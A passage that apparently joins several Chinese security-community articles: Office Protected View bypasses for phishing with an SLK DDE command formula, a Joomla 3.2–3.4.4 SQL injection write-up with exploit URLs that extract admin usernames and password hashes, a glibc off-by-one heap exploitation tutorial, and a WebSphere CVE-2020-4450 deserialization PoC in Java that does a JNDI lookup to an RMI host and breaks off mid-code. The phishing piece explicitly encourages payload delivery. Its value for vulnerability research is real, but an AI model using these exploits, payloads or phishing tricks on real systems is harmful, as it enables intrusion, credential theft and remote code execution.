等对象中存在的漏洞。2016年，微软[修复](https://securingtomorrow.mcafee.com/mcafee-labs/patch-now-simple-office-protected-view-bypass-could-have-big-impact/)了Excel附件的受保护的视图中存在的一个漏洞（CVE-2016–4117）。[@HaifeiLi](https://twitter.com/HaifeiLi)在这一领域做了许多卓有成效的研究，你可以访问这些[研究成果](https://sites.google.com/site/zerodayresearch/Analysis_of_the_Attack_Surface_of_Microsoft_Office_from_User_Perspective_final.pdf?attredirects=0)了解更多技术细节。此外，MWR实验室也发表了一份[白皮书](https://labs.mwrinfosecurity.com/assets/BlogFiles/UNDERSTANDING-THE-MICROSOFT-OFFICE-2013-PROTECTED-VIEW-SANDBOX-WP3.pdf)，你可以阅读该白皮书深入理解受保护的视图沙箱相关知识。在本文中，我会重点介绍绕过受保护视图的某些技术，在利用这些技术的同时，我们也能继续使用红方操作人员熟知并喜欢的其他技术。
根据我个人的经验，终端用户很有可能不会点击Office的对话框来退出受保护视图。之所以给出这个猜测，是因为在受保护视图中，用户仍然可以访问文档的内容，这样对他们来说已经足够。进行钓鱼攻击时，减少用户所需的点击次数总归不是件坏事。受保护视图让我们多了一次点击，如果能摆脱这个限制，我们会取得更好的结果。
注意：这些问题已经于2017年4月20日报告给MSRC，他们认为这些都不属于安全问题，只是正常的功能设计理念。
**
**
**二、正常情况**
在深入分析具体操作前，我们需要先了解一下正常的操作过程。攻击者通常会使用一些技术达到目标系统上的命令执行。这些技术通常会涉及Office宏、OLE对象以及通过DDE的Excel公式注入。如果我们通过OLE将一个LNK嵌入Excel文档中，我们可以在本地主机上看到如下界面：
现在，如果我们托管此文档，受保护视图就会被激活，如果我们不退出受保护视图，我们就无法通过双击来启用内嵌的OLE对象：
当文档来自于互联网时就会出现这种情况。除非用户点击“启用编辑”选项，否则类似OLE、ActiveX以及DDE之类的对象就会处于被阻止状态。
**
**
**三、具体操作**
现在我们已经了解了受保护视图的正常工作过程，我们可以深入分析绕过这种机制的一些方法。首先我想要介绍的一种方法是通过Publisher文件中的OLE来执行文件。与Word及Excel一样，微软Office中通常会附带安装Publisher产品，Publisher也包含了类似的功能，如OLE嵌入功能。攻击者通常会借助OLE来嵌入LNK文件，因此在这个例子中我们会执行相同的操作。Publisher提供了许多功能，使用户热衷于使用OLE对象。为了文章的简洁性，这里我不会深入分析这些功能。
在这个例子中，我们会使用一个简单的LNK载荷，其作用是执行“C:WindowsSystem32cmd.exe /c
calc.exe”命令。我不会去介绍如何将OLE嵌入到Publisher中，因为这个过程与其他Office格式几乎完全一致。如果我们将嵌有LNK文件的OLE对象托管到Web中，你会发现受保护视图并不会被激活。当用户点击OLE对象时，会弹出如下对话框：
点击“Open”按钮，就会执行LNK：
如你所见，在“打开文件”对话框后，双击OLE对象就可以执行LNK。然而通常情况下，除非用户显式退出受保护视图，否则该功能本应该能够禁止激活OLE。
接下来，让我们来看看OneNote的表现。OneNote支持将文件附加到笔记文件中。LNK文件被添加到OneNote中时会变得有点奇怪，因此这里我们使用VBScript作为实验对象。在这个例子中，VBScript文件的作用是通过WScript.Shell
COM对象的Run方法来运行calc.exe程序。为了简单起见，这里我不会精心伪造文件内容，虽然这样的确能吸引用户的眼球。
如果我们将附有VBScript文件的OneNet文件（.ONE文件）托管在Web上，你可以发现受保护视图并不会被激活。用户会看到如下对话框。
点击“OK”按钮后，会执行VBScript脚本：
到目前为止，经过测试后，我们发现Publisher文件以及OneNote文件在嵌入OLE对象或类似对象的情况下，并不会触发受保护视图。最后，我们还需要测试一下Excel符号链接（Symbolic
Link）文件。这种文件格式会限制我们可以托管的内容。在测试过程中，我发现保存文件时，SLK文件会清除掉OLE对象以及任何已有的宏。幸运的是，我们还可以使用其他攻击方法，如通过DDE实现Excel公式注入（Formula
Injection）。如果你还不了解这种技术，你可以参考[此处链接](https://www.contextis.com/resources/blog/comma-separated-vulnerabilities/)了解技术细节。
通常情况下，受保护视图会阻止单元格（cell）自动更新，这种情况下，这类攻击技术会毫无作用。如果我们添加一条恶意公式，并将其保存为符号链接（.SLK）文件，我们就能绕过受保护试图对此类攻击的限制。
在这个例子中，我们会使用如下格式的公式：
=cmd|‘ /C calc’!A0
需要注意的是，在DDE注入攻击中，用户的确会看到两个安全警告。除DDE之外，Excel
SLK还有其他功能，可以避免弹出两个安全对话框，欢迎读者充分发挥想象力。
如果我们将这个文件保存为普通的Excel文件，你会发现受保护视图会禁用自动弹出的“Enable”对话框，要求用户先退出受保护视图：
现在，如果我们将其保存为.SLK文件，托管在Web上，你会发现受保护视图没有被激活，用户会自动看到“启用、禁用”对话框。
点击“Enable”选项，用户会看到如下对话框。我觉得用户会点击其中的“Yes”按钮。
点击“Yes”按钮后，我们提供的命令就会被执行：
虽然在.SLK攻击中，用户会看到2个提示对话框，然而相对于退出受保护视图，用户还是更愿意点击他们能看到的对话框。从红队的角度来看，只要能够绕过受保护视图，都应该尝试任何方法来投放载荷。
**
**
**四、预防措施**
目前，我还不知道有什么办法能够手动将Publisher、OneNote以及.SLK文件纳入到受保护视图中，建议相关机构开展用户安全意识培训课程。如果用户不需要使用OneNote或者Publisher，建议直接卸载这些产品。
本文最早于2017年7月13日发布于[enigma0x3.net](https://enigma0x3.net/2017/07/13/phishing-against-protected-view/)上。 | 社区文章 |
# Joomla CMS 3.2-3.4.4 SQL注入 漏洞分析
|
##### 译文声明
本文是翻译文章，文章来源：drops.wooyun.org
原文地址：<http://drops.wooyun.org/papers/9979>
译文仅供参考，具体内容表达以及含义原文为准。
昨日,Joomla
CMS发布新版本3.4.5,该版本修复了一个高危的SQL注入漏洞,3.2至3.4.4版本都受到影响。攻击者通过该漏洞可以直接获取获取数据库中敏感信息,甚至可以获取已登陆的管理员会话直接进入网站后台。
**0x01 原理分析**
在 Joomla CMS
中有一个查看历史编辑版本的组件(com_contenthistory),该功能本应只有管理员才能访问,但是由于开发人员的疏忽,导致该功能的访问并不需要相应的权限。通过访问
/index.php?option=com_contenthistory 可以使得服务端加载历史版本处理组件。程序流程会转到
/components/com_contenthistory/contenthistory.php 文件中:
<?php
defined('_JEXEC') or die;
$lang = JFactory::getLanguage();
$lang->load('com_contenthistory', JPATH_ADMINISTRATOR, null, false, true)
|| $lang->load('com_contenthistory', JPATH_SITE, null, false, true);
require_once JPATH_COMPONENT_ADMINISTRATOR . '/contenthistory.php';
可以看到该组件加载时并没有进行相关权限的监测,而 Joomla 中,一般的后台调用组件 (/administrator/components/下的组件)
都会进行组件对应的权限检查,例如后台中的 com_contact 组件
if (!JFactory::getUser()->authorise('core.manage', 'com_contact'))
{
return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR'));
}
但是,程序在处理 contenthistory 组件时,并没有进行一个权限检查,程序初始化并设置好组件相关配置后,包含文件
/administrator/components/com_contenthistory/contenthistory.php,其内容如下:
<?php
defined('_JEXEC') or die;
$controller = JControllerLegacy::getInstance('Contenthistory', array('base_path' => JPATH_COMPONENT_ADMINISTRATOR));
$controller->execute(JFactory::getApplication()->input->get('task'));
$controller->redirect();
程序初始化基于 contenthistory 组件的控制类 JControllerLegacy,然后直接调用控制类的 execute() 方法,在
execute() 方法中,会调用其控制类中的 display(),代码位于
/libraries/legacy/controller/legacy.php:
public function display($cachable = false, $urlparams = array())
{
$document = JFactory::getDocument();
$viewType = $document->getType();
$viewName = $this->input->get('view', $this->default_view);
$viewLayout = $this->input->get('layout', 'default', 'string');
$view = $this->getView($viewName, $viewType, '', array('base_path' => $this->basePath, 'layout' => $viewLayout));
// Get/Create the model
if ($model = $this->getModel($viewName))
{
// Push the model into the view (as default)
$view->setModel($model, true);
}
(...省略...)
if ($cachable && $viewType != 'feed' && $conf->get('caching') >= 1)
{ (...省略...) }
else
{
$view->display();
}
return $this;
}
处理程序从传递的参数中获取 view 和 layout 的参数值进行初始化视图,并且调用 $model =
$this->getModel($viewName) 加载对应数据模型,最终会调用 $view->display() 函数进行视图处理。
Joomla 新版本 3.4.5 中修复的SQL注入漏洞涉及的是历史查看操作,也就是 view=history
时的程序处理会导致注入。在程序进行数据提取时,会进入
/administrator/components/com_contenthistory/models/history.php 文件中的
getListQuery() 函数:
protected function getListQuery()
{
// Create a new query object.
$db = $this->getDbo();
$query = $db->getQuery(true);
// Select the required fields from the table.
$query->select(
$this->getState(
'list.select',
'h.version_id, h.ucm_item_id, h.ucm_type_id, h.version_note, h.save_date, h.editor_user_id,' .
'h.character_count, h.sha1_hash, h.version_data, h.keep_forever'
)
)
->from($db->quoteName('#__ucm_history') . ' AS h')
->where($db->quoteName('h.ucm_item_id') . ' = ' . $this->getState('item_id'))
->where($db->quoteName('h.ucm_type_id') . ' = ' . $this->getState('type_id'))
// Join over the users for the editor
->select('uc.name AS editor')
->join('LEFT', '#__users AS uc ON uc.id = h.editor_user_id');
// Add the list ordering clause.
$orderCol = $this->state->get('list.ordering');
$orderDirn = $this->state->get('list.direction');
$query->order($db->quoteName($orderCol) . $orderDirn);
return $query;
}
注意下面这段SQL语句构造部分:
$query->select(
$this->getState(
'list.select',
'h.version_id, h.ucm_item_id, h.ucm_type_id, h.version_note, h.save_date, h.editor_user_id,' .
'h.character_count, h.sha1_hash, h.version_data, h.keep_forever'
)
)
->from($db->quoteName('#__ucm_history') . ' AS h')
->where($db->quoteName('h.ucm_item_id') . ' = ' . $this->getState('item_id'))
->where($db->quoteName('h.ucm_type_id') . ' = ' . $this->getState('type_id'))
其中 getState() 函数用于获取模型的属性和其对应的值,其函数定义位于 /ibraries/legacy/model/legacy.php:
public function getState($property = null, $default = null)
{
if (!$this->__state_set)
{
// Protected method to auto-populate the model state.
$this->populateState();
// Set the model state set flag to true.
$this->__state_set = true;
}
return $property === null ? $this->state : $this->state->get($property, $default);
}
然后会调用 populateState() 函数来初始化参数值和提取并过滤某些参数,在 contenthistory 组建中定义有自己的
populateState() 函数:
protected function populateState($ordering = null, $direction = null)
{
(...省略...)
// List state information.
parent::populateState('h.save_date', 'DESC');
}
函数最后,会调用父类的 populateState() 函数,因为该数据模型继承于 JModelList,所以父类相关代码位于
/libraries/legacy/model/list.php 中,而在父类该函数的处理中会解析请求中传递的 list[]
参数,解析并过滤预设键的值,但是却忽略了 list[select]:
protected function populateState($ordering = null, $direction = null)
{
(...省略...)
// Receive & set list options
if ($list = $app->getUserStateFromRequest($this->context . '.list', 'list', array(), 'array'))
{
foreach ($list as $name => $value)
{
// Extra validations
switch ($name)
{
case 'fullordering':
(...省略...)
case 'ordering':
(...省略...)
case 'direction':
(...省略...)
case 'limit':
(...省略...)
default:
$value = $value;
break;
}
$this->setState('list.' . $name, $value);
}
}
(...省略...)
而传递 list[select] 参数值最终会被解析到上述组件视图进行处理时 SQL 语句构建中的 list.select 里,从而导致了注入。
**0x02 漏洞演示**
通过上面简单的分析,已经知道了受影响的 Joomla 版本中,contenthistory 组件访问不受权限的控制,并且当进行 view=history
请求时会解析请求参数中 list[select] 的值拼接到 SQL 语句中。下面是该漏洞的简单验证和利用方法。
1.漏洞验证
**http://http://172.16.96.130/xampp/Joomla-3.4.4/index.php?option=com_contenthistory
&view=history&list[select]=1**
因为在进行 SQL 语句拼接的时候,获取了 list.ordering 进行数据查询中的 order
操作,若不提供默认会将其设置为数据进行处理,相关处理位于 /libraries/joomla/database/driver.php 的
quoteName() 函数中。
因此,访问上述构造的URL,服务器会报错:
2.漏洞利用
因为在 SQL 语句拼接时,程序框架针对每个 from 或者 where 操作进行了换行处理,所以这里并不能使用 #、–
等符号来注释掉后面的语句,只能通过报错注入进行数据提取。但是语句的成功执行有一定的前提条件,也就是传递的 item_id 和 type_id
参数值必须于数据库中有效,同时传递 list[ordering] 参数 (空值即可),这样注入的语句才能够得到执行,从而进行报错注入。
这里经过多个漏洞站点的测试可以简单的使用
item_id=1&type_id=1,当然了为了准确性和有效性,可以通过爆破的方式来得到这两个参数的有效值,然后再进行注入操作。
(Tips:Joomla 中构造的 SQL 语句中 #_ 最终会在执行前被替换为表前缀)
下面是获取用户名/密码哈希的漏洞演示过程:
**http://http://172.16.96.130/xampp/Joomla-3.4.4/index.php?option=com_contenthistory
&view=history&item_id=1&type_id=1&list[ordering]&list[select]=(select 1 from
(select count(),concat((select username from %23__users limit
0,1),floor(rand(0)2)) from information_schema.tables group by 2)x)**
**http://172.16.96.130/xampp/Joomla-3.4.4/index.php?option=com_contenthistory
&view=history&item_id=1&type_id=1&list[ordering]&list[select]=(select 1 from
(select count(),concat((select password from %23__users limit
0,1),floor(rand(0)2)) from information_schema.tables group by 2)x)
**
**0x03 修复方案
**
从 https://github.com/joomla/joomla-cms/releases 获取最新版本进行重新安装;
从 https://github.com/joomla/joomla-cms/releases 下载相应版本的补丁程序进行升级;
**0x04 总结**
就 Joomla CMS
的用户量来看,目前还有大量的站点的数据正受到该漏洞的威胁。该漏洞的产生本质上是由于访问控制的缺失和过滤不严格造成。访问控制的缺失导致本应只有管理员才能进行访问和加载的
contenthistory 组件能够被任意用户访问和加载,而参数的过滤不严格,导致攻击者能够构造出恶意的参数到执行流中产生注入。
**0x05 参考**
[http://www.sebug.net/vuldb/ssvid-89680](http://www.sebug.net/vuldb/ssvid-89680)
[https://blog.sucuri.net/2015/10/joomla-3-4-5-released-fixing-a-serious-sql-injection-vulnerability.html](https://blog.sucuri.net/2015/10/joomla-3-4-5-released-fixing-a-serious-sql-injection-vulnerability.html)
[https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/](https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/)
原文地址:<http://blog.knownsec.com/2015/10/joomla-cms-3-2-3-4-4-sql-injection-vulnerability/> | 社区文章 |
# 堆利用之单字节溢出（off-by-one）
|
##### 译文声明
本文是翻译文章，文章原作者 _py，文章来源：0x00sec.org
原文地址：<https://0x00sec.org/t/null-byte-poisoning-the-magic-byte/3874>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
大家好，今天的话题是迄今为止我最喜欢的堆利用开发技术（就Linux而言）——单字节溢出（off-by-one），该技术非常棒，尽管多年来malloc已经被强化了多次，但是它还是成功的绕过了所有的缓解措施。
为了向你们演示这个技术，我专门写了一个pwnable，环境是Ubuntu 16.04。
## 二进制浏览
在介绍攻击的理论之前，我们先快速浏览一下这个程序的汇编。
1.我们可以新建块对象，块对象的结构如下：
————————————————————————————————
声明：为了便于区分，后文统一将strunck chunk结构所在的块成为属性块，而char* data指向的块称为数据块，属性块加上数据块称为块对象。
————————————————————————————————
2.我们可以转储块对象的内容。
3.我们可以释放块对象，这里并不存在bug。
4.我们还可以编辑块对象的内容，有趣的事就在这里。
可以看到，上面的片段最后调用了一个函数，经验丰富的”老鸟”应该一眼就能看出这里有一个很严重的BUG。考虑一下下面的情况：
如果我们对块对象0调用edit()函数，那么它就会根据块对象0的数据块指针找到对应的数据块，然后在数据块的结尾处添加一个NULL字节。
通过简单的计算，我们会发现0x603030+0x88已经跑到块对象1的范围中了，而且恰好是块对象1属性块的size域，所以添加的NULL字节会覆盖size域的最低字节，导致块对象1的大小从0x21变成0x00。这就是传说中的单字节溢出（off-by-one），那如何利用这个BUG呢，别急，听我细细道来。
## libc泄漏
再利用之前我们需要先做一些准备，比如泄露libc。
此时释放块对象0有以下的效果：
块对象0的数据块大小是0x90，按理说应该放到small bin中去，但堆管理器为了提高效率，会先将其放到unsorted
bin中，让它有第二次机会，源码如下：
释放后可以看到块对象0数据块中的前向指针和后向指针都指向了libc中的main
arena。他们的值相同是因为此时此刻，该块是该双向链表中的唯一一个空闲块。Main arena的情况如下：
从上图可以看到，块对象0释放后，属性块和数据块分别放到了fastbin和unsorted
bin中，根据malloc的源码，如果此时新建一个块对象，那么fastbin中的块会作为新块对象的属性快返回给我们，而如果我们的数据长度不超过0x90，比如0x08，那么unsorted
bin中的那个空闲块就会成为新块对象的数据块。同时malloc为了节省内存，会将unsorted bin中的那个块进行切割，返回一个大小对齐后的块，如下:
要想泄漏libc指针，我们只需请求合适的大小（比如0x08）使其刚好能够包含libc指针就可以了。你可能注意到了后向指针的值变成了0x00007ffff7dd3838，至于为什么会这样，就由你自己研究了。
现在我们只要转储这个新块的值，我们就可以获得libc的地址，最后计算得到libc基址（最后获取函数地址会用到）。
## The whys & hows
我们的总体思路是分配一个新块对象A，然后利用A的数据块去覆盖一个正在使用的块对象B的属性块，然后我们通过编辑A的数据块，将B中的数据块指针换成我们指定的地址（比如GOT表项的地址就是一个不错的选择），再然后，我们就可以通过编辑B的“数据块”从而获得任意地址写的能力。
在此之前我们需要先分配几个块。
我们先忽略参数的具体意义，后面我会详细解释。现在main arena的情况是：
reminder块的大小是0x70，这对我们的分配有什么意义呢？就像前面解释的，每新建一个块对象，我们都需要先用0x20个字节来存放属性（也就是属性块），而0x20很明显比0x70小，所以reminder块又会被分割，最后，reminder块的大小会变成0x50。
而对于我们的数据，由于已经没有空闲块可以承载我们的数据了，所以malloc
只能指望top chunk了，源码如下：
现在来看一下我们的分配操作造成的影响。
可以看到，unsorted bin中的块已经被放到了small
bin相应的链表中，而reminder块的地址移到了更远的地方，同时大小变成了0x50，而top
chunk为了满足请求，移动了0x210个字节。下面是gdb中的视图：
我们接着再建两个块对象。
准备工作全部完成，注意，块X就是我们前面用“D”填充的那个块，而块Y是用“E”填充的那个，而用“F”填充的那个是用来隔离的。还有一点是，上图的chunk
x和chunk y都指的是数据块，他们的属性块是通过刚刚small bin中的那个块分割得到的，所以没有在这里。
## Previous size 域
当一个块A被释放后，如果它的大小不在fastbin的范畴，邻接块A的块B就需要更新关于A的信息，操作很简单，就是将块B上的IN_USE位设置为0，然后将块B上的Previous
size域设置为块A的大小，表示块A已经被释放了。我们结合实际情况来看一下：
可以看到，块X的释放后，块Y的size域的值从0x111变成了0x110。而块Y的Previous
size域也从0x00变成了0x210。注意，Previous
size只有当前一个块被释放了才会被使用，其他时候都是用来存放前一个块的数据。你可以简单的算一算，0x6033f0（块Y的地址）减去0x210就等于0x6031e0。
为了让你们有更好的直观感受，接下来的操作过程我会进行两次，不同之处在与，第一次的操作不会用NULL覆盖块X的size域，而第二次操作会用NULL覆盖块X的size域，这样通过对比，可以获得更直观的印象。
首先，利用块X释放后留下的空间新建一个块对象（比X小）。
Malloc会执行一下操作：
具体过程总结如下：
* 用空闲块X的当前大小减去我们请求的大小（0x210-0x110）得到reminder块的大小。
* 计算reminder块的地址（0x6031e0 + 0x110 ）。
* 将释放后的块X从unsorted bin链表中摘除，准备分割。
* 将它声明为reminder块（av->last_remainder = remainder）。
* 用set_head宏更新reminder块的size域。
* * 更新块Y的Previous size域。
* * 将切割好的块返回给用户。
新的内存视图如下：
我们计算一下各值。
看样子，上面的操作没有错。
我们现在来看一下另一种情况——在建新块对象之前用NULL覆盖块X的size域。
## Null Byte Poisoning
我们将利用前面发现的一个结论：edit（）函数会将传入的字符串的末尾加上一个NULL。
（块1紧邻块X）
我们在这里先解释一下前面新建块对象X时的参数：
malloc在从链表中摘除空闲块的时候进行一些检查，我们需要绕过他们：
实际上，我们只需要绕过第一个检查就行了，第二个检查我们符合条件。第一个检查如下：
其实就是检查后一个块的Previous size 域的值是否等于前一个块的大小。由于我们会将块X的大小改为0x200，而地址0x6031e0 +
0x200=0x6033e0还处于块X中，为了绕过检查，我们需要对0x6033e0的值做一定的手脚。
也就是说，我们需要将0x6033e0处的值修改为0x200，否则上面的检查就会检测到内存损坏，然后终止该程序的运行。
接下来进行分配操作。
注意到了吗？块Y的Previous
size域并没有被更新为reminder块的大小，而且reminder块的大小比第一种情况少了0x10，通过对比我们可以看到，reminder块的大小实际被写到了0x6033e0，也就是在块Y的Previous
size域的基础上往上偏移了0x10的地方，这绝不是偶然，我们计算一下：
可以看到，因为我们前面通过NULL覆盖修改了块X的大小，经过一系列连锁反应，导致了set_foot宏实际更新的地址变成0x6033e0（因为0x6032f0
+ 0xf0 =
0x6033e0）。这是一个对我们很有利的条件，因为现在块Y还以为前一个空闲块在它前面0x210处，而不知道，实际上那里已经发生了翻天覆地的变化。
那我们怎么利用这个有利条件呢？我们的主要目标是要想办法覆盖数据块指针。让我们继续探索并见证奇迹的发生。
我们在分配了新块对象W之后，块Y假的Previous size域已被更新为0x40（0xf0 – (0x90 + 0x20)) ==
0x40）。我们成功的在块Z和块Y之间放置了一个数据块指针（如果你明白我意思的话），接下来的操作你估计也想到了，我们先释放块Z。
如果现在释放块Y，会发生什么？
从源码可以看到，块Y释放后，malloc会检查它前面是否有空闲块，以便进行合并操作，注意，前面说过，块Y还以为它的前一个块大小为0x210，也就是起始地址在往前偏移0x210的地方，而现在0x210处是什么？是我们刚刚释放的块Z，这样一来，事情就变得很有趣了。
可以看到，先后释放块Z和块Y之后，malloc进行了合并操作，从块Z开始，到块Y结束的整片空间被合并成了一个空闲块。其原因是为块Y检查它前面是否有空闲块时，发现空闲的块Z，但是由于我们的“恶意操作”，导致块Y的Previous
size域没有被更新（值一直是0x210），而malloc又没有检查块Z的大小，所以malloc认为块Z的到大小就是0x210，然后整片空间就变成了一个空闲块。但是不要忘了在这个空闲块的空间中，还有一个没有被释放的块W，这就为我们交叠块W创造了条件。
现在来看一下main arena的情况：
如果此时我们再分配一个大小为0x140的块会怎样？我们猜一下：
* 根据fastbin的后进先出原则，块0x603060应该会被返回给我们作为属性块。
* 而我们数据的长度是0x140，为了存放我们的数据，块0x6031e0应该会被返回给我们。
可以看到我们已经成功的用atoi（）对应的GOT表项的地址覆盖了块对象W的数据块指针，剩下的就是对块对象W调用edit（）函数，然后用将atoi（）的地址换成其他地址，比如system（）。 | 社区文章 |
#### 漏洞简介
WebSphere是IBM的软件平台，它包含了编写、运行和监视全天候的工业强度的随需应变 Web
应用程序和跨平台、跨产品解决方案所需要的整个中间件基础设施，如服务器、服务和工具。2020年6月8日，IBM官方发布了WebSphere
Application
Server（WAS）中的远程代码执行（CVE-2020-4450）漏洞的通告，此漏洞由IIOP协议上的反序列化恶意对象造成，未经身份认证的攻击者可以通过IIOP协议远程攻击WAS服务器，在目标服务端执行任意代码，获取目标系统权限。
#### 漏洞分析
WAS对于IIOP的数据由com.ibm.ws.Transaction.JTS.TxServerInterceptor#receive_request方法被处理，在处理过程中，当ServiceContext对象不为空时，com.ibm.ws.Transaction.JTS.TxInterceptorHelper#demarshalContext被调用，进入反序列化的执行流，在调用过程中，最终调用com.ibm.rmi.io.IIOPInputStream#invokeObjectReader通过反射调用readObject方法进行反序列化，反序列化执行流如下：
> readObject:516, WSIFPort_EJB (org.apache.wsif.providers.ejb)
> invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
> invoke:90, NativeMethodAccessorImpl (sun.reflect)
> invoke:55, DelegatingMethodAccessorImpl (sun.reflect)
> invoke:508, Method (java.lang.reflect)
> invokeObjectReader:2483, IIOPInputStream (com.ibm.rmi.io)
> inputObjectUsingClassDesc:2010, IIOPInputStream (com.ibm.rmi.io)
> continueSimpleReadObject:749, IIOPInputStream (com.ibm.rmi.io)
> simpleReadObjectLoop:720, IIOPInputStream (com.ibm.rmi.io)
> simpleReadObject:669, IIOPInputStream (com.ibm.rmi.io)
> readValue:193, ValueHandlerImpl (com.ibm.rmi.io)
> read_value:787, CDRReader (com.ibm.rmi.iiop)
> read_value:847, EncoderInputStream (com.ibm.rmi.iiop)
> unmarshalIn:273, TCUtility (com.ibm.rmi.corba)
> read_value:664, AnyImpl (com.ibm.rmi.corba)
> read_any:467, CDRReader (com.ibm.rmi.iiop)
> read_any:797, EncoderInputStream (com.ibm.rmi.iiop)
> demarshalContext:171, TxInterceptorHelper (com.ibm.ws.Transaction.JTS)
> receive_request:180, TxServerInterceptor (com.ibm.ws.Transaction.JTS)
> ……
> dispatch:508, ServerDelegate (com.ibm.CORBA.iiop)
ZDI的文章里，找到了一个org.apache.wsif.providers.ejb.WSIFPort_EJB.class，该类的readObject方法中存在JNDI注入逻辑，代码执行流如下：
> lookup:150, RegistryContext (com.sun.jndi.rmi.registry)
> lookup:217, GenericURLContext (com.sun.jndi.toolkit.url)
> lookup:161, DelegateContext (org.apache.aries.jndi)
> lookup:428, InitialContext (javax.naming)
> getEJBObject:166, EntityHandle (com.ibm.ejs.container) readObject:516,
> WSIFPort_EJB (org.apache.wsif.providers.ejb)
到此，进入核心利用点，在通过JNDI的lookup方法获得对应的EJBHome实例的时候，是通过environment中定义的ObjectFactory的具体实现类对应获得工厂实例，然后通过对应工厂getObjectInstance方法创建EJBHome实例，这里修改environment变量中的java.naming.factory.object属性值为org.apache.wsif.naming.WSIFServiceObjectFactory。代码执行流如下：
> getObjectInstance:138, WSIFServiceObjectFactory (org.apache.wsif.naming),
> WSIFServiceObjectFactory.java
> getObjectInstanceViaContextDotObjectFactories:167, ObjectFactoryHelper
> (org.apache.aries.jndi), ObjectFactoryHelper.java
> getObjectInstanceViaContextDotObjectFactories:125, ObjectFactoryHelper
> (org.apache.aries.jndi), ObjectFactoryHelper.java
> getObjectInstance:109, ObjectFactoryHelper (org.apache.aries.jndi),
> ObjectFactoryHelper.java
> getObjectInstance:62, OSGiObjectFactoryBuilder (org.apache.aries.jndi),
> OSGiObjectFactoryBuilder.java
> getObjectInstance:311, NamingManager (javax.naming.spi), NamingManager.java
> decodeObject:511, RegistryContext (com.sun.jndi.rmi.registry),
> RegistryContext.java
> lookup:150, RegistryContext (com.sun.jndi.rmi.registry),
> RegistryContext.java
之所以修改为该工厂类，是因为该工厂类的getObjectInstance方法的奇妙，该方法调用了WSIF的流程，而其中需要的属性值是通过注入的Reference对象赋值。从而引入自定义的wsdl文件，通过wsdl文件可以将接口方法映射到其他的具体实现中，改变具体接口的执行流；并且可以对className赋值使其返回满足利用条件的EJBHome实例。
具体要实现的核心目的就是返回一个EJBHome实例，通过自定义wsdl文件映射EJBHome的findByPrimaryKey方法(EJB规范)到其他类的方法中，比如javax.el.ELProcessor的eval方法，从而实现代码执行。代码执行栈如下：
> eval:57, ELProcessor (javax.el), ELProcessor.java
> invoke0:-1, NativeMethodAccessorImpl (sun.reflect),
> NativeMethodAccessorImpl.java
> invoke:90, NativeMethodAccessorImpl (sun.reflect),
> NativeMethodAccessorImpl.java
> invoke:55, DelegatingMethodAccessorImpl (sun.reflect),
> DelegatingMethodAccessorImpl.java
> invoke:508, Method (java.lang.reflect), Method.java
> executeRequestResponseOperation:1208, WSIFOperation_Java
> (org.apache.wsif.providers.java), WSIFOperation_Java.java
> invoke:311, WSIFClientProxy (org.apache.wsif.base), WSIFClientProxy.java
> findByPrimaryKey:-1, $Proxy82 (com.sun.proxy), Unknown Source
#### POC
###### TEST
public class Test {
public static void main(String[] args) throws Exception {
Properties env = new Properties();
env.put(Context.PROVIDER_URL, "iiop://169.254.0.117:2809");
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.ibm.websphere.naming.WsnInitialContextFactory");
InitialContext context = new InitialContext(env);
context.list("");
Field f_defaultInitCtx = context.getClass().getDeclaredField("defaultInitCtx");
f_defaultInitCtx.setAccessible(true);
WsnInitCtx defaultInitCtx = (WsnInitCtx) f_defaultInitCtx.get(context);
Field f_context = defaultInitCtx.getClass().getDeclaredField("_context");
f_context.setAccessible(true);
CNContextImpl _context = (CNContextImpl) f_context.get(defaultInitCtx);
Field f_corbaNC = _context.getClass().getDeclaredField("_corbaNC");
f_corbaNC.setAccessible(true);
_NamingContextStub _corbaNC = (_NamingContextStub) f_corbaNC.get(_context);
Field f__delegate = ObjectImpl.class.getDeclaredField("__delegate");
f__delegate.setAccessible(true);
ClientDelegate clientDelegate = (ClientDelegate) f__delegate.get(_corbaNC);
Field f_ior = clientDelegate.getClass().getSuperclass().getDeclaredField("ior");
f_ior.setAccessible(true);
IOR ior = (IOR) f_ior.get(clientDelegate);
Field f_orb = clientDelegate.getClass().getSuperclass().getDeclaredField("orb");
f_orb.setAccessible(true);
ORB orb = (ORB) f_orb.get(clientDelegate);
GIOPImpl giop = (GIOPImpl) orb.getServerGIOP();
Method getConnection = giop.getClass().getDeclaredMethod("getConnection", com.ibm.CORBA.iiop.IOR.class, com.ibm.rmi.Profile.class, com.ibm.rmi.corba.ClientDelegate.class, String.class);
getConnection.setAccessible(true);
Connection connection = (Connection) getConnection.invoke(giop, ior, ior.getProfile(), clientDelegate, "beijixiong404");
Method setConnectionContexts = connection.getClass().getDeclaredMethod("setConnectionContexts", ArrayList.class);
setConnectionContexts.setAccessible(true);
ArrayList v4 = new ArrayList();
WSIFPort_EJB wsifPort_ejb = new WSIFPort_EJB(null,null,null);
Field fieldEjbObject = wsifPort_ejb.getClass().getDeclaredField("fieldEjbObject");
fieldEjbObject.setAccessible(true);
fieldEjbObject.set(wsifPort_ejb,new EJSWrapperS());
CDROutputStream outputStream = ORB.createCDROutputStream();
outputStream.putEndian();
Any any = orb.create_any();
any.insert_Value(wsifPort_ejb);
PropagationContext propagationContext = new PropagationContext(0,
new TransIdentity(null,null, new otid_t(0,0,new byte[0])),
new TransIdentity[0],
any);
PropagationContextHelper.write(outputStream,propagationContext);
byte[] result = outputStream.toByteArray();
ServiceContext serviceContext = new ServiceContext(0, result);
v4.add(serviceContext);
setConnectionContexts.invoke(connection, v4);
context.list("");
}
}
class EJSWrapperS extends EJSWrapper {
@Override
public Handle getHandle() throws RemoteException {
Handle var2 = null;
try {
SessionHome sessionHome = new SessionHome();
J2EEName j2EEName = new J2EENameImpl("aa", "aa", "aa");
Field j2eeName = EJSHome.class.getDeclaredField("j2eeName");
j2eeName.setAccessible(true);
j2eeName.set(sessionHome, j2EEName);
Field jndiName = sessionHome.getClass().getSuperclass().getDeclaredField("jndiName");
jndiName.setAccessible(true);
jndiName.set(sessionHome, "rmi://169.254.0.117:1099/poc");
